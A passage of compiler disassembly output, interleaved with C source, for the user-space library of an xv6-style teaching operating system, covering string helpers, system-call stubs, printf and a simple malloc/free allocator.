f5: 8b 45 0c mov 0xc(%ebp),%eax f8: 88 45 fc mov %al,-0x4(%ebp) for(; *s; s++) fb: eb 14 jmp 111 <strchr+0x22> if(*s == c) fd: 8b 45 08 mov 0x8(%ebp),%eax 100: 0f b6 00 movzbl (%eax),%eax 103: 3a 45 fc cmp -0x4(%ebp),%al 106: 75 05 jne 10d <strchr+0x1e> return (char*)s; 108: 8b 45 08 mov 0x8(%ebp),%eax 10b: eb 13 jmp 120 <strchr+0x31> } char* strchr(const char *s, char c) { for(; *s; s++) 10d: 83 45 08 01 addl $0x1,0x8(%ebp) 111: 8b 45 08 mov 0x8(%ebp),%eax 114: 0f b6 00 movzbl (%eax),%eax 117: 84 c0 test %al,%al 119: 75 e2 jne fd <strchr+0xe> if(*s == c) return (char*)s; return 0; 11b: b8 00 00 00 00 mov $0x0,%eax } 120: c9 leave 121: c3 ret 00000122 <gets>: char* gets(char *buf, int max) { 122: 55 push %ebp 123: 89 e5 mov %esp,%ebp 125: 83 ec 28 sub $0x28,%esp int i, cc; char c; for(i=0; i+1 < max; ){ 128: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 12f: eb 4c jmp 17d <gets+0x5b> cc = read(0, &c, 1); 131: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 138: 00 139: 8d 45 ef lea -0x11(%ebp),%eax 13c: 89 44 24 04 mov %eax,0x4(%esp) 140: c7 04 24 00 00 00 00 movl $0x0,(%esp) 147: e8 44 01 00 00 call 290 <read> 14c: 89 45 f0 mov %eax,-0x10(%ebp) if(cc < 1) 14f: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 153: 7f 02 jg 157 <gets+0x35> break; 155: eb 31 jmp 188 <gets+0x66> buf[i++] = c; 157: 8b 45 f4 mov -0xc(%ebp),%eax 15a: 8d 50 01 lea 0x1(%eax),%edx 15d: 89 55 f4 mov %edx,-0xc(%ebp) 160: 89 c2 mov %eax,%edx 162: 8b 45 08 mov 0x8(%ebp),%eax 165: 01 c2 add %eax,%edx 167: 0f b6 45 ef movzbl -0x11(%ebp),%eax 16b: 88 02 mov %al,(%edx) if(c == '\n' || c == '\r') 16d: 0f b6 45 ef movzbl -0x11(%ebp),%eax 171: 3c 0a cmp $0xa,%al 173: 74 13 je 188 <gets+0x66> 175: 0f b6 45 ef movzbl -0x11(%ebp),%eax 179: 3c 0d cmp $0xd,%al 17b: 74 0b je 188 <gets+0x66> gets(char *buf, int max) { int i, cc; char c; for(i=0; i+1 < max; ){ 17d: 8b 45 f4 mov -0xc(%ebp),%eax 180: 83 c0 01 add $0x1,%eax 183: 3b 45 0c cmp 0xc(%ebp),%eax 186: 7c a9 jl 131 <gets+0xf> break; buf[i++] = c; if(c == '\n' || c == '\r') break; } buf[i] = '\0'; 188: 8b 55 f4 mov -0xc(%ebp),%edx 18b: 8b 45 08 mov 0x8(%ebp),%eax 18e: 01 d0 add %edx,%eax 190: c6 00 00 movb $0x0,(%eax) return buf; 193: 8b 45 08 mov 0x8(%ebp),%eax } 196: c9 leave 197: c3 ret 00000198 <stat>: int stat(char *n, struct stat *st) { 198: 55 push %ebp 199: 89 e5 mov %esp,%ebp 19b: 83 ec 28 sub $0x28,%esp int fd; int r; fd = open(n, O_RDONLY); 19e: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 1a5: 00 1a6: 8b 45 08 mov 0x8(%ebp),%eax 1a9: 89 04 24 mov %eax,(%esp) 1ac: e8 07 01 00 00 call 2b8 <open> 1b1: 89 45 f4 mov %eax,-0xc(%ebp) if(fd < 0) 1b4: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 1b8: 79 07 jns 1c1 <stat+0x29> return -1; 1ba: b8 ff ff ff ff mov $0xffffffff,%eax 1bf: eb 23 jmp 1e4 <stat+0x4c> r = fstat(fd, st); 1c1: 8b 45 0c mov 0xc(%ebp),%eax 1c4: 89 44 24 04 mov %eax,0x4(%esp) 1c8: 8b 45 f4 mov -0xc(%ebp),%eax 1cb: 89 04 24 mov %eax,(%esp) 1ce: e8 fd 00 00 00 call 2d0 <fstat> 1d3: 89 45 f0 mov %eax,-0x10(%ebp) close(fd); 1d6: 8b 45 f4 mov -0xc(%ebp),%eax 1d9: 89 04 24 mov %eax,(%esp) 1dc: e8 bf 00 00 00 call 2a0 <close> return r; 1e1: 8b 45 f0 mov -0x10(%ebp),%eax } 1e4: c9 leave 1e5: c3 ret 000001e6 <atoi>: int atoi(const char *s) { 1e6: 55 push %ebp 1e7: 89 e5 mov %esp,%ebp 1e9: 83 ec 10 sub $0x10,%esp int n; n = 0; 1ec: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp) while('0' <= *s && *s <= '9') 1f3: eb 25 jmp 21a <atoi+0x34> n = n*10 + *s++ - '0'; 1f5: 8b 55 fc mov -0x4(%ebp),%edx 1f8: 89 d0 mov %edx,%eax 1fa: c1 e0 02 shl $0x2,%eax 1fd: 01 d0 add %edx,%eax 1ff: 01 c0 add %eax,%eax 201: 89 c1 mov %eax,%ecx 203: 8b 45 08 mov 0x8(%ebp),%eax 206: 8d 50 01 lea 0x1(%eax),%edx 209: 89 55 08 mov %edx,0x8(%ebp) 20c: 0f b6 00 movzbl (%eax),%eax 20f: 0f be c0 movsbl %al,%eax 212: 01 c8 add %ecx,%eax 214: 83 e8 30 sub $0x30,%eax 217: 89 45 fc mov %eax,-0x4(%ebp) atoi(const char *s) { int n; n = 0; while('0' <= *s && *s <= '9') 21a: 8b 45 08 mov 0x8(%ebp),%eax 21d: 0f b6 00 movzbl (%eax),%eax 220: 3c 2f cmp $0x2f,%al 222: 7e 0a jle 22e <atoi+0x48> 224: 8b 45 08 mov 0x8(%ebp),%eax 227: 0f b6 00 movzbl (%eax),%eax 22a: 3c 39 cmp $0x39,%al 22c: 7e c7 jle 1f5 <atoi+0xf> n = n*10 + *s++ - '0'; return n; 22e: 8b 45 fc mov -0x4(%ebp),%eax } 231: c9 leave 232: c3 ret 00000233 <memmove>: void* memmove(void *vdst, void *vsrc, int n) { 233: 55 push %ebp 234: 89 e5 mov %esp,%ebp 236: 83 ec 10 sub $0x10,%esp char *dst, *src; dst = vdst; 239: 8b 45 08 mov 0x8(%ebp),%eax 23c: 89 45 fc mov %eax,-0x4(%ebp) src = vsrc; 23f: 8b 45 0c mov 0xc(%ebp),%eax 242: 89 45 f8 mov %eax,-0x8(%ebp) while(n-- > 0) 245: eb 17 jmp 25e <memmove+0x2b> *dst++ = *src++; 247: 8b 45 fc mov -0x4(%ebp),%eax 24a: 8d 50 01 lea 0x1(%eax),%edx 24d: 89 55 fc mov %edx,-0x4(%ebp) 250: 8b 55 f8 mov -0x8(%ebp),%edx 253: 8d 4a 01 lea 0x1(%edx),%ecx 256: 89 4d f8 mov %ecx,-0x8(%ebp) 259: 0f b6 12 movzbl (%edx),%edx 25c: 88 10 mov %dl,(%eax) { char *dst, *src; dst = vdst; src = vsrc; while(n-- > 0) 25e: 8b 45 10 mov 0x10(%ebp),%eax 261: 8d 50 ff lea -0x1(%eax),%edx 264: 89 55 10 mov %edx,0x10(%ebp) 267: 85 c0 test %eax,%eax 269: 7f dc jg 247 <memmove+0x14> *dst++ = *src++; return vdst; 26b: 8b 45 08 mov 0x8(%ebp),%eax } 26e: c9 leave 26f: c3 ret 00000270 <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 270: b8 01 00 00 00 mov $0x1,%eax 275: cd 40 int $0x40 277: c3 ret 00000278 <exit>: SYSCALL(exit) 278: b8 02 00 00 00 mov $0x2,%eax 27d: cd 40 int $0x40 27f: c3 ret 00000280 <wait>: SYSCALL(wait) 280: b8 03 00 00 00 mov $0x3,%eax 285: cd 40 int $0x40 287: c3 ret 00000288 <pipe>: SYSCALL(pipe) 288: b8 04 00 00 00 mov $0x4,%eax 28d: cd 40 int $0x40 28f: c3 ret 00000290 <read>: SYSCALL(read) 290: b8 05 00 00 00 mov $0x5,%eax 295: cd 40 int $0x40 297: c3 ret 00000298 <write>: SYSCALL(write) 298: b8 10 00 00 00 mov $0x10,%eax 29d: cd 40 int $0x40 29f: c3 ret 000002a0 <close>: SYSCALL(close) 2a0: b8 15 00 00 00 mov $0x15,%eax 2a5: cd 40 int $0x40 2a7: c3 ret 000002a8 <kill>: SYSCALL(kill) 2a8: b8 06 00 00 00 mov $0x6,%eax 2ad: cd 40 int $0x40 2af: c3 ret 000002b0 <exec>: SYSCALL(exec) 2b0: b8 07 00 00 00 mov $0x7,%eax 2b5: cd 40 int $0x40 2b7: c3 ret 000002b8 <open>: SYSCALL(open) 2b8: b8 0f 00 00 00 mov $0xf,%eax 2bd: cd 40 int $0x40 2bf: c3 ret 000002c0 <mknod>: SYSCALL(mknod) 2c0: b8 11 00 00 00 mov $0x11,%eax 2c5: cd 40 int $0x40 2c7: c3 ret 000002c8 <unlink>: SYSCALL(unlink) 2c8: b8 12 00 00 00 mov $0x12,%eax 2cd: cd 40 int $0x40 2cf: c3 ret 000002d0 <fstat>: SYSCALL(fstat) 2d0: b8 08 00 00 00 mov $0x8,%eax 2d5: cd 40 int $0x40 2d7: c3 ret 000002d8 <link>: SYSCALL(link) 2d8: b8 13 00 00 00 mov $0x13,%eax 2dd: cd 40 int $0x40 2df: c3 ret 000002e0 <mkdir>: SYSCALL(mkdir) 2e0: b8 14 00 00 00 mov $0x14,%eax 2e5: cd 40 int $0x40 2e7: c3 ret 000002e8 <chdir>: SYSCALL(chdir) 2e8: b8 09 00 00 00 mov $0x9,%eax 2ed: cd 40 int $0x40 2ef: c3 ret 000002f0 <dup>: SYSCALL(dup) 2f0: b8 0a 00 00 00 mov $0xa,%eax 2f5: cd 40 int $0x40 2f7: c3 ret 000002f8 <getpid>: SYSCALL(getpid) 2f8: b8 0b 00 00 00 mov $0xb,%eax 2fd: cd 40 int $0x40 2ff: c3 ret 00000300 <sbrk>: SYSCALL(sbrk) 300: b8 0c 00 00 00 mov $0xc,%eax 305: cd 40 int $0x40 307: c3 ret 00000308 <sleep>: SYSCALL(sleep) 308: b8 0d 00 00 00 mov $0xd,%eax 30d: cd 40 int $0x40 30f: c3 ret 00000310 <uptime>: SYSCALL(uptime) 310: b8 0e 00 00 00 mov $0xe,%eax 315: cd 40 int $0x40 317: c3 ret 00000318 <date>: SYSCALL(date) 318: b8 16 00 00 00 mov $0x16,%eax 31d: cd 40 int $0x40 31f: c3 ret 00000320 <timem>: SYSCALL(timem) 320: b8 17 00 00 00 mov $0x17,%eax 325: cd 40 int $0x40 327: c3 ret 00000328 <getuid>: SYSCALL(getuid) 328: b8 18 00 00 00 mov $0x18,%eax 32d: cd 40 int $0x40 32f: c3 ret 00000330 <getgid>: SYSCALL(getgid) 330: b8 19 00 00 00 mov $0x19,%eax 335: cd 40 int $0x40 337: c3 ret 00000338 <getppid>: SYSCALL(getppid) 338: b8 1a 00 00 00 mov $0x1a,%eax 33d: cd 40 int $0x40 33f: c3 ret 00000340 <setuid>: SYSCALL(setuid) 340: b8 1b 00 00 00 mov $0x1b,%eax 345: cd 40 int $0x40 347: c3 ret 00000348 <setgid>: SYSCALL(setgid) 348: b8 1c 00 00 00 mov $0x1c,%eax 34d: cd 40 int $0x40 34f: c3 ret 00000350 <getprocs>: SYSCALL(getprocs) 350: b8 1d 00 00 00 mov $0x1d,%eax 355: cd 40 int $0x40 357: c3 ret 00000358 <setpriority>: SYSCALL(setpriority) 358: b8 1e 00 00 00 mov $0x1e,%eax 35d: cd 40 int $0x40 35f: c3 ret 00000360 <putc>: #include "stat.h" #include "user.h" static void putc(int fd, char c) { 360: 55 push %ebp 361: 89 e5 mov %esp,%ebp 363: 83 ec 18 sub $0x18,%esp 366: 8b 45 0c mov 0xc(%ebp),%eax 369: 88 45 f4 mov %al,-0xc(%ebp) write(fd, &c, 1); 36c: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 373: 00 374: 8d 45 f4 lea -0xc(%ebp),%eax 377: 89 44 24 04 mov %eax,0x4(%esp) 37b: 8b 45 08 mov 0x8(%ebp),%eax 37e: 89 04 24 mov %eax,(%esp) 381: e8 12 ff ff ff call 298 <write> } 386: c9 leave 387: c3 ret 00000388 <printint>: static void printint(int fd, int xx, int base, int sgn) { 388: 55 push %ebp 389: 89 e5 mov %esp,%ebp 38b: 56 push %esi 38c: 53 push %ebx 38d: 83 ec 30 sub $0x30,%esp static char digits[] = "0123456789ABCDEF"; char buf[16]; int i, neg; uint x; neg = 0; 390: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) if(sgn && xx < 0){ 397: 83 7d 14 00 cmpl $0x0,0x14(%ebp) 39b: 74 17 je 3b4 <printint+0x2c> 39d: 83 7d 0c 00 cmpl $0x0,0xc(%ebp) 3a1: 79 11 jns 3b4 <printint+0x2c> neg = 1; 3a3: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp) x = -xx; 3aa: 8b 45 0c mov 0xc(%ebp),%eax 3ad: f7 d8 neg %eax 3af: 89 45 ec mov %eax,-0x14(%ebp) 3b2: eb 06 jmp 3ba <printint+0x32> } else { x = xx; 3b4: 8b 45 0c mov 0xc(%ebp),%eax 3b7: 89 45 ec mov %eax,-0x14(%ebp) } i = 0; 3ba: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) do{ buf[i++] = digits[x % base]; 3c1: 8b 4d f4 mov -0xc(%ebp),%ecx 3c4: 8d 41 01 lea 0x1(%ecx),%eax 3c7: 89 45 f4 mov %eax,-0xc(%ebp) 3ca: 8b 5d 10 mov 0x10(%ebp),%ebx 3cd: 8b 45 ec mov -0x14(%ebp),%eax 3d0: ba 00 00 00 00 mov $0x0,%edx 3d5: f7 f3 div %ebx 3d7: 89 d0 mov %edx,%eax 3d9: 0f b6 80 58 0a 00 00 movzbl 0xa58(%eax),%eax 3e0: 88 44 0d dc mov %al,-0x24(%ebp,%ecx,1) }while((x /= base) != 0); 3e4: 8b 75 10 mov 0x10(%ebp),%esi 3e7: 8b 45 ec mov -0x14(%ebp),%eax 3ea: ba 00 00 00 00 mov $0x0,%edx 3ef: f7 f6 div %esi 3f1: 89 45 ec mov %eax,-0x14(%ebp) 3f4: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 3f8: 75 c7 jne 3c1 <printint+0x39> if(neg) 3fa: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 3fe: 74 10 je 410 <printint+0x88> buf[i++] = '-'; 400: 8b 45 f4 mov -0xc(%ebp),%eax 403: 8d 50 01 lea 0x1(%eax),%edx 406: 89 55 f4 mov %edx,-0xc(%ebp) 409: c6 44 05 dc 2d movb $0x2d,-0x24(%ebp,%eax,1) while(--i >= 0) 40e: eb 1f jmp 42f <printint+0xa7> 410: eb 1d jmp 42f <printint+0xa7> putc(fd, buf[i]); 412: 8d 55 dc lea -0x24(%ebp),%edx 415: 8b 45 f4 mov -0xc(%ebp),%eax 418: 01 d0 add %edx,%eax 41a: 0f b6 00 movzbl (%eax),%eax 41d: 0f be c0 movsbl %al,%eax 420: 89 44 24 04 mov %eax,0x4(%esp) 424: 8b 45 08 mov 0x8(%ebp),%eax 427: 89 04 24 mov %eax,(%esp) 42a: e8 31 ff ff ff call 360 <putc> buf[i++] = digits[x % base]; }while((x /= base) != 0); if(neg) buf[i++] = '-'; while(--i >= 0) 42f: 83 6d f4 01 subl $0x1,-0xc(%ebp) 433: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 437: 79 d9 jns 412 <printint+0x8a> putc(fd, buf[i]); } 439: 83 c4 30 add $0x30,%esp 43c: 5b pop %ebx 43d: 5e pop %esi 43e: 5d pop %ebp 43f: c3 ret 00000440 <printf>: // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, char *fmt, ...) { 440: 55 push %ebp 441: 89 e5 mov %esp,%ebp 443: 83 ec 38 sub $0x38,%esp char *s; int c, i, state; uint *ap; state = 0; 446: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp) ap = (uint*)(void*)&fmt + 1; 44d: 8d 45 0c lea 0xc(%ebp),%eax 450: 83 c0 04 add $0x4,%eax 453: 89 45 e8 mov %eax,-0x18(%ebp) for(i = 0; fmt[i]; i++){ 456: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) 45d: e9 7c 01 00 00 jmp 5de <printf+0x19e> c = fmt[i] & 0xff; 462: 8b 55 0c mov 0xc(%ebp),%edx 465: 8b 45 f0 mov -0x10(%ebp),%eax 468: 01 d0 add %edx,%eax 46a: 0f b6 00 movzbl (%eax),%eax 46d: 0f be c0 movsbl %al,%eax 470: 25 ff 00 00 00 and $0xff,%eax 475: 89 45 e4 mov %eax,-0x1c(%ebp) if(state == 0){ 478: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 47c: 75 2c jne 4aa <printf+0x6a> if(c == '%'){ 47e: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp) 482: 75 0c jne 490 <printf+0x50> state = '%'; 484: c7 45 ec 25 00 00 00 movl $0x25,-0x14(%ebp) 48b: e9 4a 01 00 00 jmp 5da <printf+0x19a> } else { putc(fd, c); 490: 8b 45 e4 mov -0x1c(%ebp),%eax 493: 0f be c0 movsbl %al,%eax 496: 89 44 24 04 mov %eax,0x4(%esp) 49a: 8b 45 08 mov 0x8(%ebp),%eax 49d: 89 04 24 mov %eax,(%esp) 4a0: e8 bb fe ff ff call 360 <putc> 4a5: e9 30 01 00 00 jmp 5da <printf+0x19a> } } else if(state == '%'){ 4aa: 83 7d ec 25 cmpl $0x25,-0x14(%ebp) 4ae: 0f 85 26 01 00 00 jne 5da <printf+0x19a> if(c == 'd'){ 4b4: 83 7d e4 64 cmpl $0x64,-0x1c(%ebp) 4b8: 75 2d jne 4e7 <printf+0xa7> printint(fd, *ap, 10, 1); 4ba: 8b 45 e8 mov -0x18(%ebp),%eax 4bd: 8b 00 mov (%eax),%eax 4bf: c7 44 24 0c 01 00 00 movl $0x1,0xc(%esp) 4c6: 00 4c7: c7 44 24 08 0a 00 00 movl $0xa,0x8(%esp) 4ce: 00 4cf: 89 44 24 04 mov %eax,0x4(%esp) 4d3: 8b 45 08 mov 0x8(%ebp),%eax 4d6: 89 04 24 mov %eax,(%esp) 4d9: e8 aa fe ff ff call 388 <printint> ap++; 4de: 83 45 e8 04 addl $0x4,-0x18(%ebp) 4e2: e9 ec 00 00 00 jmp 5d3 <printf+0x193> } else if(c == 'x' || c == 'p'){ 4e7: 83 7d e4 78 cmpl $0x78,-0x1c(%ebp) 4eb: 74 06 je 4f3 <printf+0xb3> 4ed: 83 7d e4 70 cmpl $0x70,-0x1c(%ebp) 4f1: 75 2d jne 520 <printf+0xe0> printint(fd, *ap, 16, 0); 4f3: 8b 45 e8 mov -0x18(%ebp),%eax 4f6: 8b 00 mov (%eax),%eax 4f8: c7 44 24 0c 00 00 00 movl $0x0,0xc(%esp) 4ff: 00 500: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp) 507: 00 508: 89 44 24 04 mov %eax,0x4(%esp) 50c: 8b 45 08 mov 0x8(%ebp),%eax 50f: 89 04 24 mov %eax,(%esp) 512: e8 71 fe ff ff call 388 <printint> ap++; 517: 83 45 e8 04 addl $0x4,-0x18(%ebp) 51b: e9 b3 00 00 00 jmp 5d3 <printf+0x193> } else if(c == 's'){ 520: 83 7d e4 73 cmpl $0x73,-0x1c(%ebp) 524: 75 45 jne 56b <printf+0x12b> s = (char*)*ap; 526: 8b 45 e8 mov -0x18(%ebp),%eax 529: 8b 00 mov (%eax),%eax 52b: 89 45 f4 mov %eax,-0xc(%ebp) ap++; 52e: 83 45 e8 04 addl $0x4,-0x18(%ebp) if(s == 0) 532: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 536: 75 09 jne 541 <printf+0x101> s = "(null)"; 538: c7 45 f4 0c 08 00 00 movl $0x80c,-0xc(%ebp) while(*s != 0){ 53f: eb 1e jmp 55f <printf+0x11f> 541: eb 1c jmp 55f <printf+0x11f> putc(fd, *s); 543: 8b 45 f4 mov -0xc(%ebp),%eax 546: 0f b6 00 movzbl (%eax),%eax 549: 0f be c0 movsbl %al,%eax 54c: 89 44 24 04 mov %eax,0x4(%esp) 550: 8b 45 08 mov 0x8(%ebp),%eax 553: 89 04 24 mov %eax,(%esp) 556: e8 05 fe ff ff call 360 <putc> s++; 55b: 83 45 f4 01 addl $0x1,-0xc(%ebp) } else if(c == 's'){ s = (char*)*ap; ap++; if(s == 0) s = "(null)"; while(*s != 0){ 55f: 8b 45 f4 mov -0xc(%ebp),%eax 562: 0f b6 00 movzbl (%eax),%eax 565: 84 c0 test %al,%al 567: 75 da jne 543 <printf+0x103> 569: eb 68 jmp 5d3 <printf+0x193> putc(fd, *s); s++; } } else if(c == 'c'){ 56b: 83 7d e4 63 cmpl $0x63,-0x1c(%ebp) 56f: 75 1d jne 58e <printf+0x14e> putc(fd, *ap); 571: 8b 45 e8 mov -0x18(%ebp),%eax 574: 8b 00 mov (%eax),%eax 576: 0f be c0 movsbl %al,%eax 579: 89 44 24 04 mov %eax,0x4(%esp) 57d: 8b 45 08 mov 0x8(%ebp),%eax 580: 89 04 24 mov %eax,(%esp) 583: e8 d8 fd ff ff call 360 <putc> ap++; 588: 83 45 e8 04 addl $0x4,-0x18(%ebp) 58c: eb 45 jmp 5d3 <printf+0x193> } else if(c == '%'){ 58e: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp) 592: 75 17 jne 5ab <printf+0x16b> putc(fd, c); 594: 8b 45 e4 mov -0x1c(%ebp),%eax 597: 0f be c0 movsbl %al,%eax 59a: 89 44 24 04 mov %eax,0x4(%esp) 59e: 8b 45 08 mov 0x8(%ebp),%eax 5a1: 89 04 24 mov %eax,(%esp) 5a4: e8 b7 fd ff ff call 360 <putc> 5a9: eb 28 jmp 5d3 <printf+0x193> } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); 5ab: c7 44 24 04 25 00 00 movl $0x25,0x4(%esp) 5b2: 00 5b3: 8b 45 08 mov 0x8(%ebp),%eax 5b6: 89 04 24 mov %eax,(%esp) 5b9: e8 a2 fd ff ff call 360 <putc> putc(fd, c); 5be: 8b 45 e4 mov -0x1c(%ebp),%eax 5c1: 0f be c0 movsbl %al,%eax 5c4: 89 44 24 04 mov %eax,0x4(%esp) 5c8: 8b 45 08 mov 0x8(%ebp),%eax 5cb: 89 04 24 mov %eax,(%esp) 5ce: e8 8d fd ff ff call 360 <putc> } state = 0; 5d3: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp) int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 5da: 83 45 f0 01 addl $0x1,-0x10(%ebp) 5de: 8b 55 0c mov 0xc(%ebp),%edx 5e1: 8b 45 f0 mov -0x10(%ebp),%eax 5e4: 01 d0 add %edx,%eax 5e6: 0f b6 00 movzbl (%eax),%eax 5e9: 84 c0 test %al,%al 5eb: 0f 85 71 fe ff ff jne 462 <printf+0x22> putc(fd, c); } state = 0; } } } 5f1: c9 leave 5f2: c3 ret 000005f3 <free>: static Header base; static Header *freep; void free(void *ap) { 5f3: 55 push %ebp 5f4: 89 e5 mov %esp,%ebp 5f6: 83 ec 10 sub $0x10,%esp Header *bp, *p; bp = (Header*)ap - 1; 5f9: 8b 45 08 mov 0x8(%ebp),%eax 5fc: 83 e8 08 sub $0x8,%eax 5ff: 89 45 f8 mov %eax,-0x8(%ebp) for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 602: a1 74 0a 00 00 mov 0xa74,%eax 607: 89 45 fc mov %eax,-0x4(%ebp) 60a: eb 24 jmp 630 <free+0x3d> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 60c: 8b 45 fc mov -0x4(%ebp),%eax 60f: 8b 00 mov (%eax),%eax 611: 3b 45 fc cmp -0x4(%ebp),%eax 614: 77 12 ja 628 <free+0x35> 616: 8b 45 f8 mov -0x8(%ebp),%eax 619: 3b 45 fc cmp -0x4(%ebp),%eax 61c: 77 24 ja 642 <free+0x4f> 61e: 8b 45 fc mov -0x4(%ebp),%eax 621: 8b 00 mov (%eax),%eax 623: 3b 45 f8 cmp -0x8(%ebp),%eax 626: 77 1a ja 642 <free+0x4f> free(void *ap) { Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 628: 8b 45 fc mov -0x4(%ebp),%eax 62b: 8b 00 mov (%eax),%eax 62d: 89 45 fc mov %eax,-0x4(%ebp) 630: 8b 45 f8 mov -0x8(%ebp),%eax 633: 3b 45 fc cmp -0x4(%ebp),%eax 636: 76 d4 jbe 60c <free+0x19> 638: 8b 45 fc mov -0x4(%ebp),%eax 63b: 8b 00 mov (%eax),%eax 63d: 3b 45 f8 cmp -0x8(%ebp),%eax 640: 76 ca jbe 60c <free+0x19> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) break; if(bp + bp->s.size == p->s.ptr){ 642: 8b 45 f8 mov -0x8(%ebp),%eax 645: 8b 40 04 mov 0x4(%eax),%eax 648: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx 64f: 8b 45 f8 mov -0x8(%ebp),%eax 652: 01 c2 add %eax,%edx 654: 8b 45 fc mov -0x4(%ebp),%eax 657: 8b 00 mov (%eax),%eax 659: 39 c2 cmp %eax,%edx 65b: 75 24 jne 681 <free+0x8e> bp->s.size += p->s.ptr->s.size; 65d: 8b 45 f8 mov -0x8(%ebp),%eax 660: 8b 50 04 mov 0x4(%eax),%edx 663: 8b 45 fc mov -0x4(%ebp),%eax 666: 8b 00 mov (%eax),%eax 668: 8b 40 04 mov 0x4(%eax),%eax 66b: 01 c2 add %eax,%edx 66d: 8b 45 f8 mov -0x8(%ebp),%eax 670: 89 50 04 mov %edx,0x4(%eax) bp->s.ptr = p->s.ptr->s.ptr; 673: 8b 45 fc mov -0x4(%ebp),%eax 676: 8b 00 mov (%eax),%eax 678: 8b 10 mov (%eax),%edx 67a: 8b 45 f8 mov -0x8(%ebp),%eax 67d: 89 10 mov %edx,(%eax) 67f: eb 0a jmp 68b <free+0x98> } else bp->s.ptr = p->s.ptr; 681: 8b 45 fc mov -0x4(%ebp),%eax 684: 8b 10 mov (%eax),%edx 686: 8b 45 f8 mov -0x8(%ebp),%eax 689: 89 10 mov %edx,(%eax) if(p + p->s.size == bp){ 68b: 8b 45 fc mov -0x4(%ebp),%eax 68e: 8b 40 04 mov 0x4(%eax),%eax 691: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx 698: 8b 45 fc mov -0x4(%ebp),%eax 69b: 01 d0 add %edx,%eax 69d: 3b 45 f8 cmp -0x8(%ebp),%eax 6a0: 75 20 jne 6c2 <free+0xcf> p->s.size += bp->s.size; 6a2: 8b 45 fc mov -0x4(%ebp),%eax 6a5: 8b 50 04 mov 0x4(%eax),%edx 6a8: 8b 45 f8 mov -0x8(%ebp),%eax 6ab: 8b 40 04 mov 0x4(%eax),%eax 6ae: 01 c2 add %eax,%edx 6b0: 8b 45 fc mov -0x4(%ebp),%eax 6b3: 89 50 04 mov %edx,0x4(%eax) p->s.ptr = bp->s.ptr; 6b6: 8b 45 f8 mov -0x8(%ebp),%eax 6b9: 8b 10 mov (%eax),%edx 6bb: 8b 45 fc mov -0x4(%ebp),%eax 6be: 89 10 mov %edx,(%eax) 6c0: eb 08 jmp 6ca <free+0xd7> } else p->s.ptr = bp; 6c2: 8b 45 fc mov -0x4(%ebp),%eax 6c5: 8b 55 f8 mov -0x8(%ebp),%edx 6c8: 89 10 mov %edx,(%eax) freep = p; 6ca: 8b 45 fc mov -0x4(%ebp),%eax 6cd: a3 74 0a 00 00 mov %eax,0xa74 } 6d2: c9 leave 6d3: c3 ret 000006d4 <morecore>: static Header* morecore(uint nu) { 6d4: 55 push %ebp 6d5: 89 e5 mov %esp,%ebp 6d7: 83 ec 28 sub $0x28,%esp char *p; Header *hp; if(nu < 4096) 6da: 81 7d 08 ff 0f 00 00 cmpl $0xfff,0x8(%ebp) 6e1: 77 07 ja 6ea <morecore+0x16> nu = 4096; 6e3: c7 45 08 00 10 00 00 movl $0x1000,0x8(%ebp) p = sbrk(nu * sizeof(Header)); 6ea: 8b 45 08 mov 0x8(%ebp),%eax 6ed: c1 e0 03 shl $0x3,%eax 6f0: 89 04 24 mov %eax,(%esp) 6f3: e8 08 fc ff ff call 300 <sbrk> 6f8: 89 45 f4 mov %eax,-0xc(%ebp) if(p == (char*)-1) 6fb: 83 7d f4 ff cmpl $0xffffffff,-0xc(%ebp) 6ff: 75 07 jne 708 <morecore+0x34> return 0; 701: b8 00 00 00 00 mov $0x0,%eax 706: eb 22 jmp 72a <morecore+0x56> hp = (Header*)p; 708: 8b 45 f4 mov -0xc(%ebp),%eax 70b: 89 45 f0 mov %eax,-0x10(%ebp) hp->s.size = nu; 70e: 8b 45 f0 mov -0x10(%ebp),%eax 711: 8b 55 08 mov 0x8(%ebp),%edx 714: 89 50 04 mov %edx,0x4(%eax) free((void*)(hp + 1)); 717: 8b 45 f0 mov -0x10(%ebp),%eax 71a: 83 c0 08 add $0x8,%eax 71d: 89 04 24 mov %eax,(%esp) 720: e8 ce fe ff ff call 5f3 <free> return freep; 725: a1 74 0a 00 00 mov 0xa74,%eax } 72a: c9 leave 72b: c3 ret 0000072c <malloc>: void* malloc(uint nbytes) { 72c: 55 push %ebp 72d: 89 e5 mov %esp,%ebp 72f: 83 ec 28 sub $0x28,%esp Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 732: 8b 45 08 mov 0x8(%ebp),%eax 735: 83 c0 07 add $0x7,%eax 738: c1 e8 03 shr 